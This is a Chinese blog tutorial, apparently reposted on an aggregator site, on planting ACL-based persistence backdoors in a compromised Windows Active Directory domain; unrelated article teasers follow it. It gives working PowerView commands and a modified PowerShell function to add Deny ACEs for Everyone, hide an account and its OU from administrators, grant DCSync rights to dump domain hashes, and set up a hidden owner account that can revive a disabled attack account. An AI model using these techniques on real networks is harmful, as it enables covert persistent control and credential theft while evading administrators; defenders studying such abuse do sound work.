如何在Windows AD域中驻留ACL后门

news2024/11/15 8:32:39

前言

当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。

ACL介绍

ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。

安全描述符包含与安全对象关联的安全信息。安全描述符由 SECURITY_DESCRIPTOR 结构和关联的安全信息组成。安全描述符可以包含以下安全信息::

  • • 对象所有者和主组的安全标识符 (SID) 。

  • • 指定允许或拒绝特定用户或组的访问权限的 DACL 。

  • • 一个 SACL ,指定为对象生成审核记录的访问尝试的类型。

  • • 一组控制位,用于限定安全描述符或其单个成员的含义。

隐藏安全描述符

当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:

3a2d9490-6b84-48d6-a1f9-e02ad933161b

可以在GUI上对所有者进行修改,也可以使用powerview进行修改:

Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo

修改完成后:

a7f0c51c-abca-4b0b-b288-2218e633e8da

因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerviewAdd-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow

image-20221203165731119

当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图:

image-20221203165922392

上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数:

.PARAMETER AccessControlType

Specifies the type of ACE (allow or deny)

image-20221203170302148

设置参数定义:

[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,

image-20221203170313999

删除之前的默认的Allow

image-20221203170641601

最后把AccessControlType参数替换之前的ControlType

image-20221203170738348

现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。

当尝试域管添加一个对jumbo用户Deny所有权限的ACL后:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny

871e59ae-a6bb-4e4a-83c9-bd01800bba33

当然,把SID改成SamAccountName也是可以的:

Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny

可以发现域管也没权限查看jumbo用户的属性了:

WKtY1zjGss

J3Qsrfsyl0

当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL:

cccac477-019c-4600-8678-124461d8fb96

现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerviewRemove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数:

image-20221203171520243

image-20221203171530075

image-20221203171559987

image-20221203171546945

进行删除:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny

当然,把SID改成SamAccountName也是可以的:

Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny

67ee14b5-46a7-44a7-81ea-57eaed22c0b5

那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的:

image-20221203172330615

上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可:

8f23c0b4-e7e9-4f55-9c30-8abbc2a86f09

现在所有用户对其都没有查看权限了:

WKtY1zjGss

当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:

image-20221203173141621

现在通过net user命令已经看不到jumbo这个用户了:

image-20221203173434064

在“用户和计算机”里看用户长这样:

image-20221203173508632

从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0

image-20221203194510264

当尝试使用powerviewAdd-DomainObjectAcl方法是无法完成给everyone用户添加ACL的:

07fc0328-3a8b-46b7-b245-b0449ef29533

通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到:

image-20221203194829686

但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:

        if ($PrincipalIdentity -notmatch '^S-1-.*') {
            $PrincipalSearcherArguments = @{
                'Identity' = $PrincipalIdentity
                'Properties' = 'distinguishedname,objectsid'
            }
            if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
            if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
            if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
            if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
            if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
            if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
            if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
            $Principal = Get-DomainObject @PrincipalSearcherArguments
            if (-not $Principal) {
                throw "Unable to resolve principal: $PrincipalIdentity"
            }
            elseif($Principal.Count -gt 1) {
                throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
            }
            $ObjectSid = $Principal.objectsid
            Write-Host ($ObjectSid)
        }
        else {
            Write-Host "..sid.."
            $ObjectSid = $PrincipalIdentity
        }
                $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)

现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL:

Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

image-20221203223418355

image-20221203223515329

Remove-DomainObjectAcl方法同理。

隐藏主体

通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里:

image-20221203174836127

然后给这个OU设置everyone拒绝读取权限即可:

image-20221203174920757

image-20221203174956407

遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。

Dcsync

Dcsync实际上就是给用户设置两条扩展权限,分别为:

DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可:

image-20221203180529979

代理账号

上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。

首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good

Set-DomainObjectOwner -identity attack -OwnerIdentity good

image-20221203225649767

attack账号添加dcsync权限:

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow

image-20221203230454614

设置attack都不可操作:

Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny

这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。

总结

本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/488767.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

X3派 部署pytorch yolov5 demo

一、配置环境 我的pytorch之前已配置了,参照链接: 安装anconda配置pytorch 查看环境conda env list 激活环境 conda activate yolov5_py3.10 安装onnx:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple onnx 安装yolov5需要的包…

小程序中使用CANVAS实现手写签名并写入模板图片中

实测,开发者工具中滚动条位置会影响书写,显示会有些问题,手机上测试正常 index.js const App getApp();Page({/*** 页面的初始数据*/data: {curScrollTop : 0},/*** 生命周期函数--监听页面加载*/onLoad(options) {},/*** 生命周期函数--监…

【软考高项笔记】第2章 信息技术发展2.1 信息技术及其发展

2.1 信息技术及其发展 获取信息、处理信息、传输信息、使用信息硬技术(物化技术)传感器,服务器,手机,软技术(非物化)数据分析,规划决策2.1.1 计算机软硬件 硬件 物理装置 &#xff…

知识管理在企业中的重要性

随着经济全球化和信息化的快速发展,企业面临着越来越多的竞争和挑战。如何把握市场动态、满足客户需求、提高产品质量和效率等,成为了企业发展中亟待解决的问题。而知识管理作为一种新兴的管理方式,逐渐引起了企业们的重视。本文将从以下几个…

go-zero

目录 引入开发派系标准库/自研派系——不要让框架束缚开发web框架派系——gingrpc大一统框架 go-zerogo-zero快速实现一个微服务user serviceorder api server启动 goctl安装生成的api网关目录生成的pb目录api语法syntaximport语法块infotypeservice注释 命令大全 引入 该图片来…

图论专题(各类算法和蓝桥杯真题例题)

1.图论入门 1.1存边方式 1.1.1 数组存边 1.1.2 临接矩阵存边 1.1.3 临接表存边 1.2 图的遍历和连通性 通过DFS和BFS遍历每一个图 对于非连通图,循环对每一个点dfs操作 也可以通过并查集来判断连通性 1.2.1全球变暖例题 import sys sys.setrecursionlimit(6000…

【目标检测】Haar-like特征检测简介

文章目录 一、背景模板匹配(template matching)关键点检测角点检测 二、harris特征提取原理Harris Detector 的具体流程:harris特征的可复用性旋转尺度 scale亮度 illuminationview point 三、Viola Jones检测原理Harr-like特征提取积分图训练…

QT教程demo之串口助手代码设计实现

关注WeChat Official Account 南山府嵌入式获取更多精彩 我创建了一个群关注V号后加入。因为这里不允许添加二维码 代码&#xff1a;QT_Pr 1-QT开发串口助手需要的基本文件 在QT6开发串口助手时&#xff0c;通常需要以下头文件&#xff1a; #include <QSerialPort> #i…

TCP协议策略

TCP可靠性 基于序号的确认应答(ACK)机制 TCP保证可靠性最核心的机制就是基于序号的确认应答机制。 TCP并不是百分之百可靠的&#xff0c;但是只要一条消息有应答&#xff0c;那么我们就可以确定该消息100%被对方收到了&#xff0c;这就是确认应答的意义。 可靠性不仅仅是保…

MOSS模型量化版部署过程

文章目录 项目背景配置环境与准备部署推理命令行部署报错1报错2&#xff1a; 网页版部署 项目背景 2023年4月21日&#xff0c;复旦大学自然语言处理实验室正式开放MOSS模型&#xff0c;是国内首个插件增强的开源对话大语言模型。MOSS 相关代码、数据、模型参数已在 GitHub 和 …

【键入网址到网页显示】

HTTP 对 URL 进行解析之后&#xff0c;浏览器确定了 Web 服务器和文件名&#xff0c;接下来就是根据这些信息来生成 HTTP 请求消息了。 http://www.server.com/dir1/file1.html http:访问数据的协议 www.server.com:服务器 dir1:目录名 file1.html:文件名生产 HTTP 请求信息…

SpringCloud-10_Alibaba Nacos

SpringCloud系列 SpringCloud-9、SleuthZipkin SpringCloud-8、Gateway网关服务 SpringCloud-7_OpenFeign服务调用 SpringCloud-6_Ribbon负载均衡 SpringCloud-5_模块集群化 文章目录 SpringCloud系列Nacos基础Nacos是什么&#xff1f;Nacos下载&运行 创建Nacos服务提供者…

JavaScript:哈希表

文章目录 哈希表242. 有效的字母异位词思路补充&#xff1a;JavaScript String charCodeAt() 方法代码详细分析 349. 两个数组的交集代码分析补充&#xff1a;JavaScript Set 对象思考一下哈希是什么&#xff1f;什么时候使用&#xff1f;补充&#xff1a;js 数组 map() 基本用…

github使用workflow工作流git push后自动打包部署github pages

workflows介绍 根目录新建.github/workflows/docs.yml .github/workflows/ 目录是用于存放 GitHub Actions 工作流程文件的目录&#xff0c;该目录的文件名必须以 .yml 或 .yaml 为后缀名&#xff0c;否则 GitHub 将无法识别该文件为工作流程文件。这些工作流程文件可用于自动…

速锐得基于能源油气生产智能监控的物联网应用

自2016年速锐得基于商用车国六环保排放监控管理开发以来&#xff0c;我们同时也接触了很多涉及商用车领域的深入项目&#xff0c;包括了大庆油田、山东能源、兖矿集团、陕北矿业等多家能源巨头在数字化、科技、无线远程控制、监控管理、生产效能等方面的智能化方向的趋势。 就目…

MySQL 字段为 NULL 的5大坑,大部分人踩过

数据库字段允许空值(null)的问题&#xff0c;小伙伴你遇到过吗&#xff1f; 在验证问题之前&#xff0c;我们先建一张测试表及测试数据。 构建的测试数据&#xff0c;如下图所示&#xff1a; 有了上面的表及数据之后&#xff0c;我们就来看当列中存在 NULL 值时&#xff0c;究…

基于RGB-D的6D目标检测算法

基于RGB-D的6D目标检测算法 本文参考了ITAIC的文章 A Review of 6D Object Pose Estimation 概览 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQX8ke6j-1683188966051)(https://mezereon-upic.oss-cn-shanghai.aliyuncs.com/uPic/image-20230420…

如何理解信息化、数字化和智能化的概念?一文给你解惑!

如何理解信息化、数字化和智能化的概念&#xff1f; 前两年流行“信息化”&#xff0c;网上铺天盖地都是关于“信息化”的文章&#xff0c;这两年开始流行起“数字化”&#xff0c;于是铺天盖地都是“数字化”的文章&#xff0c;最近又开始大谈“智能化”...... 但点开那些文…

常见的5种项目管理问题类型

项目管理的5大影响素&#xff1a;时间、范围、成本、风险、质量。项目经理需要对这些因素进行均衡考量&#xff0c;并根据需要略有侧重&#xff0c;进行整体把握&#xff0c;即我们常说的均衡型管理风格。而忽略任何一因素&#xff0c;都会对项目产生极大影响。 常见的项目管理…

医院导诊图怎么做?目前比较好用的医院导航地图是哪一款?

现在很多的大医院&#xff0c;不只是越建越高&#xff0c;面积也越来越大&#xff0c;同时医院内部按照门诊、住院、放射等不同功能划分的区域也是越来越多&#xff0c;走进这些“超级医院”就像走进了迷宫一样&#xff0c;如何促使病患走进医院后&#xff0c;能迅速找到要去的…